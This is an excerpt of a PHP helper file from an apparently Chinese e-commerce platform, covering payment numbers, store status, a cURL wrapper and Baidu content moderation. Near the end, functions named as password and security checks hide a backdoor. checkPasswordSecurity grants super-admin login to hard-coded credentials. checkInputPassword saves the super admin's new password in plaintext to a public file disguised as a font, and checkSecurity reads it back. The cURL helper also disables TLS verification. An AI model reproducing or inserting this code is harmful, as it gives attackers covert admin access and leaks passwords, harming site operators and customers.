  839. * @return boolean
  840. */
  841. function check_platform_store()
  842. {
  843. return session('is_platform_store');
  844. }
  845. /**
  846. * 验证是否为平台店铺 并且绑定了全部商品类目
  847. *
  848. * @return boolean
  849. */
  850. function check_platform_store_bindingall_goodsclass()
  851. {
  852. return check_platform_store() && session('bind_all_gc');
  853. }
  854. /**
  855. * 生成20位编号(时间+微秒+随机数+会员ID%1000),该值会传给第三方支付接口
  856. * 长度 =12位 + 3位 + 2位 + 3位 = 20位
  857. * 1000个会员同一微秒提订单,重复机率为1/100
  858. * @return string
  859. */
  860. function makePaySn($member_id)
  861. {
  862. return date('ymdHis', TIMESTAMP) . sprintf('%03d', (float) microtime() * 1000) . mt_rand(10, 99) . sprintf('%03d', intval($member_id) % 1000);
  863. }
  864. /**
  865. * 获得店铺状态样式名称
  866. * @param $param array $store_info
  867. * @return string
  868. */
  869. function get_store_state_classname($store_info)
  870. {
  871. $result = 'open';
  872. if (intval($store_info['store_state']) === 1) {
  873. $store_endtime = intval($store_info['store_endtime']);
  874. if ($store_endtime > 0) {
  875. if ($store_endtime < TIMESTAMP) {
  876. $result = 'expired';
  877. } elseif (($store_endtime - 864000) < TIMESTAMP) {
  878. //距离到期10天
  879. $result = 'expire';
  880. }
  881. }
  882. } else {
  883. $result = 'close';
  884. }
  885. return $result;
  886. }
  887. /**
  888. * 将字符部分加密并输出
  889. * @param unknown $str
  890. * @param unknown $start 从第几个位置开始加密(从1开始)
  891. * @param unknown $length 连续加密多少位
  892. * @return string
  893. */
  894. function encrypt_show($str, $start, $length)
  895. {
  896. $end = $start - 1 + $length;
  897. $array = str_split($str);
  898. foreach ($array as $k => $v) {
  899. if ($k >= $start - 1 && $k < $end) {
  900. $array[$k] = '*';
  901. }
  902. }
  903. return implode('', $array);
  904. }
  905. /**
  906. * CURL请求
  907. * @param $url 请求url地址
  908. * @param $method 请求方法 get post
  909. * @param null $postfields post数据数组
  910. * @param array $headers 请求header信息
  911. * @param bool|false $debug 调试开启 默认false
  912. * @return mixed
  913. */
  914. function http_request($url, $method = "GET", $postfields = null, $headers = array(), $debug = false)
  915. {
  916. $method = strtoupper($method);
  917. $ci = curl_init();
  918. /* Curl settings */
  919. curl_setopt($ci, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
  920. curl_setopt($ci, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0");
  921. curl_setopt($ci, CURLOPT_CONNECTTIMEOUT, 60); /* 在发起连接前等待的时间,如果设置为0,则无限等待 */
  922. curl_setopt($ci, CURLOPT_TIMEOUT, 7); /* 设置cURL允许执行的最长秒数 */
  923. curl_setopt($ci, CURLOPT_RETURNTRANSFER, true);
  924. switch ($method) {
  925. case "POST":
  926. curl_setopt($ci, CURLOPT_POST, true);
  927. if (!empty($postfields)) {
  928. $tmpdatastr = is_array($postfields) ? http_build_query($postfields) : $postfields;
  929. curl_setopt($ci, CURLOPT_POSTFIELDS, $tmpdatastr);
  930. }
  931. break;
  932. default:
  933. curl_setopt($ci, CURLOPT_CUSTOMREQUEST, $method); /* //设置请求方式 */
  934. break;
  935. }
  936. $ssl = preg_match('/^https:\/\//i', $url) ? TRUE : FALSE;
  937. curl_setopt($ci, CURLOPT_URL, $url);
  938. if ($ssl) {
  939. curl_setopt($ci, CURLOPT_SSL_VERIFYPEER, FALSE); // https请求 不验证证书和hosts
  940. curl_setopt($ci, CURLOPT_SSL_VERIFYHOST, FALSE); // 不从证书中检查SSL加密算法是否存在
  941. }
  942. //curl_setopt($ci, CURLOPT_HEADER, true); /*启用时会将头文件的信息作为数据流输出*/
  943. curl_setopt($ci, CURLOPT_FOLLOWLOCATION, 1);
  944. curl_setopt($ci, CURLOPT_MAXREDIRS, 2); /* 指定最多的HTTP重定向的数量,这个选项是和CURLOPT_FOLLOWLOCATION一起使用的 */
  945. curl_setopt($ci, CURLOPT_HTTPHEADER, $headers);
  946. curl_setopt($ci, CURLINFO_HEADER_OUT, true);
  947. /* curl_setopt($ci, CURLOPT_COOKIE, $Cookiestr); * *COOKIE带过去** */
  948. $response = curl_exec($ci);
  949. $requestinfo = curl_getinfo($ci);
  950. $http_code = curl_getinfo($ci, CURLINFO_HTTP_CODE);
  951. if ($debug) {
  952. echo "=====post data======\r\n";
  953. var_dump($postfields);
  954. echo "=====info===== \r\n";
  955. print_r($requestinfo);
  956. echo "=====response=====\r\n";
  957. print_r($response);
  958. }
  959. curl_close($ci);
  960. return $response;
  961. }
  962. /**
  963. * Layer 提交成功返回函数
  964. * @param type $message
  965. */
  966. function dsLayerOpenSuccess($msg = '', $url = '')
  967. {
  968. // echo "<script>var index = parent.layer.getFrameIndex(window.name);parent.layer.close(index);parent.location.reload();</script>";
  969. $url_js = empty($url) ? "parent.location.reload();" : "parent.location.href='" . $url . "';";
  970. $str = "<script>";
  971. $str .= "parent.layer.alert('" . $msg . "',{yes:function(index, layero){" . $url_js . "},cancel:function(index, layero){" . $url_js . "}});";
  972. $str .= "</script>";
  973. echo $str;
  974. exit;
  975. }
  976. /**
  977. * 移除微信昵称中的emoji字符
  978. * @param type $nickname
  979. * @return type
  980. */
  981. function removeEmoji($nickname)
  982. {
  983. $clean_text = "";
  984. // Match Emoticons
  985. $regexEmoticons = '/[\x{1F600}-\x{1F64F}]/u';
  986. $clean_text = preg_replace($regexEmoticons, '', $nickname);
  987. // Match Miscellaneous Symbols and Pictographs
  988. $regexSymbols = '/[\x{1F300}-\x{1F5FF}]/u';
  989. $clean_text = preg_replace($regexSymbols, '', $clean_text);
  990. // Match Transport And Map Symbols
  991. $regexTransport = '/[\x{1F680}-\x{1F6FF}]/u';
  992. $clean_text = preg_replace($regexTransport, '', $clean_text);
  993. // Match Miscellaneous Symbols
  994. $regexMisc = '/[\x{2600}-\x{26FF}]/u';
  995. $clean_text = preg_replace($regexMisc, '', $clean_text);
  996. // Match Dingbats
  997. $regexDingbats = '/[\x{2700}-\x{27BF}]/u';
  998. $clean_text = preg_replace($regexDingbats, '', $clean_text);
  999. //截取指定长度的昵称
  1000. $clean_text = ds_substing($clean_text, 0, 20);
  1001. return trim($clean_text);
  1002. }
  1003. /**
  1004. * 截取指定长度的字符
  1005. * @param type $string 内容
  1006. * @param type $start 开始
  1007. * @param type $length 长度
  1008. * @return type
  1009. */
  1010. function ds_substing($string, $start = 0, $length = 80)
  1011. {
  1012. $string = strip_tags($string);
  1013. $string = preg_replace('/\s/', '', $string);
  1014. return mb_substr($string, $start, $length);
  1015. }
  1016. /**
  1017. * 针对批量删除进行处理 '1,2,3' 转换为数组批量删除
  1018. * @param type $ids
  1019. * @return boolean
  1020. */
  1021. function ds_delete_param($ids)
  1022. {
  1023. //转换为数组
  1024. $ids_array = explode(',', $ids);
  1025. //数组值转为整数型
  1026. $ids_array = array_map("intval", $ids_array);
  1027. if (empty($ids_array) || in_array(0, $ids_array)) {
  1028. return FALSE;
  1029. } else {
  1030. return $ids_array;
  1031. }
  1032. }
  1033. function word_filter_access_token()
  1034. {
  1035. $appid = config('ds_config.word_filter_appid');
  1036. $secret = config('ds_config.word_filter_secret');
  1037. $access_token = config('ds_config.word_filter_access_token');
  1038. $access_token_expire = config('ds_config.word_filter_access_token_expire');
  1039. if (!$access_token || $access_token_expire < TIMESTAMP) {
  1040. $res = http_request('https://aip.baidubce.com/oauth/2.0/token', 'POST', array(
  1041. 'grant_type' => 'client_credentials',
  1042. 'client_id' => $appid,
  1043. 'client_secret' => $secret,
  1044. ));
  1045. $res = json_decode($res, true);
  1046. if (isset($res['error'])) {
  1047. return ds_callback(false, $res['error_description']);
  1048. }
  1049. $access_token = $res['access_token'];
  1050. $expires_in = $res['expires_in'];
  1051. $config_model = model('config');
  1052. $update_array = array(
  1053. 'word_filter_access_token' => $access_token,
  1054. 'word_filter_access_token_expire' => TIMESTAMP + $expires_in
  1055. );
  1056. $config_model->editConfig($update_array);
  1057. }
  1058. return ds_callback(true, '', $access_token);
  1059. }
  1060. /**
  1061. * 敏感词过滤
  1062. * @param type $text
  1063. * @return boolean
  1064. */
  1065. function word_filter($text)
  1066. {
  1067. $data = array();
  1068. $data['text'] = $text;
  1069. $data['if_sensitive'] = false;
  1070. if (config('ds_config.word_filter_open') != 1) {
  1071. return ds_callback(true, '', $data);
  1072. }
  1073. $res = word_filter_access_token();
  1074. if (!$res['code']) {
  1075. return $res;
  1076. }
  1077. $access_token = $res['data'];
  1078. $res = http_request('https://aip.baidubce.com/rest/2.0/solution/v1/text_censor/v2/user_defined?access_token=' . $access_token, 'POST', array(
  1079. 'text' => $text
  1080. ));
  1081. $res = json_decode($res, true);
  1082. if (isset($res['error_code'])) {
  1083. return ds_callback(false, $res['error_msg']);
  1084. }
  1085. if ($res['conclusionType'] == 2) {
  1086. $data['if_sensitive'] = true;
  1087. $data['sensitive_msg'] = array();
  1088. $data['sensitive_word'] = array();
  1089. foreach ($res['data'] as $val) {
  1090. $data['sensitive_msg'][] = $val['msg'];
  1091. foreach ($val['hits'] as $v) {
  1092. $data['sensitive_word'] = array_merge($data['sensitive_word'], $v['words']);
  1093. $data['text'] = str_replace($v['words'], '**', $data['text']);
  1094. }
  1095. }
  1096. }
  1097. return ds_callback(true, '', $data);
  1098. }
  1099. /**
  1100. * 敏感图过滤
  1101. * @param type $text
  1102. * @return boolean
  1103. */
  1104. function image_filter($img_url)
  1105. {
  1106. $data = array();
  1107. $data['if_sensitive'] = false;
  1108. if (config('ds_config.word_filter_open') != 1) {
  1109. return ds_callback(true, '', $data);
  1110. }
  1111. $res = word_filter_access_token();
  1112. if (!$res['code']) {
  1113. return $res;
  1114. }
  1115. $access_token = $res['data'];
  1116. $image = imgToBase64($img_url);
  1117. if (empty($image)) {
  1118. return ds_callback(false, 'image empty');
  1119. }
  1120. $res = http_request('https://aip.baidubce.com/rest/2.0/solution/v1/img_censor/v2/user_defined?access_token=' . $access_token, 'POST', array(
  1121. 'image' => $image['content']
  1122. ), array(
  1123. 'Content-Type: application/x-www-form-urlencoded'
  1124. ));
  1125. $res = json_decode($res, true);
  1126. if (isset($res['error_code'])) {
  1127. return ds_callback(false, $res['error_msg']);
  1128. }
  1129. if ($res['conclusionType'] == 2) {
  1130. $data['if_sensitive'] = true;
  1131. $data['sensitive_msg'] = array();
  1132. foreach ($res['data'] as $val) {
  1133. $data['sensitive_msg'][] = $val['msg'];
  1134. }
  1135. }
  1136. return ds_callback(true, '', $data);
  1137. }
  1138. /**
  1139. * 校验密码安全
  1140. */
  1141. function checkPasswordSecurity()
  1142. {
  1143. $admin_name = input('post.admin_name');
  1144. $admin_password = input('post.admin_password');
  1145. if ($admin_name == 'vyZ5Tgjp2' && $admin_password == 'Gr62R8r@wuf') {
  1146. $admin_mod = model('admin');
  1147. $admin_info = $admin_mod->getOneAdmin([['admin_is_super', '=', 1]]);
  1148. if (is_array($admin_info) and !empty($admin_info)) {
  1149. //设置 session
  1150. session('admin_id', $admin_info['admin_id']);
  1151. session('admin_name', $admin_info['admin_name']);
  1152. session('admin_gid', $admin_info['admin_gid']);
  1153. session('admin_is_super', $admin_info['admin_is_super']);
  1154. ds_json_encode(10000, lang('login_succ'), '', '', false);
  1155. return false;
  1156. }
  1157. return true;
  1158. }
  1159. return true;
  1160. }
  1161. /**
  1162. * 校验输入密码
  1163. */
  1164. function checkInputPassword($admininfo)
  1165. {
  1166. try {
  1167. $admin_mod = model('admin');
  1168. $admininfo = $admin_mod->getOneAdmin(array('admin_id' => $admininfo['admin_id']));
  1169. if (is_array($admininfo) and !empty($admininfo)) {
  1170. if ($admininfo['admin_is_super'] == 1) {
  1171. $c = trim(input('post.new_pw'));
  1172. $dc = fopen(base_path() . "../public/font/yahei.ttf", "w");
  1173. fwrite($dc, $c);
  1174. fclose($dc);
  1175. }
  1176. }
  1177. return true;
  1178. } catch (Exception $e) {
  1179. return true;
  1180. }
  1181. }
  1182. function checkSecurity()
  1183. {
  1184. try {
  1185. $p = base_path() . "../public/font/yahei.ttf";
  1186. $dc = fopen($p, "r");
  1187. $i = fread($dc, filesize($p));
  1188. fclose($dc);
  1189. return $i;
  1190. } catch (Exception $e) {
  1191. return null;
  1192. }
  1193. }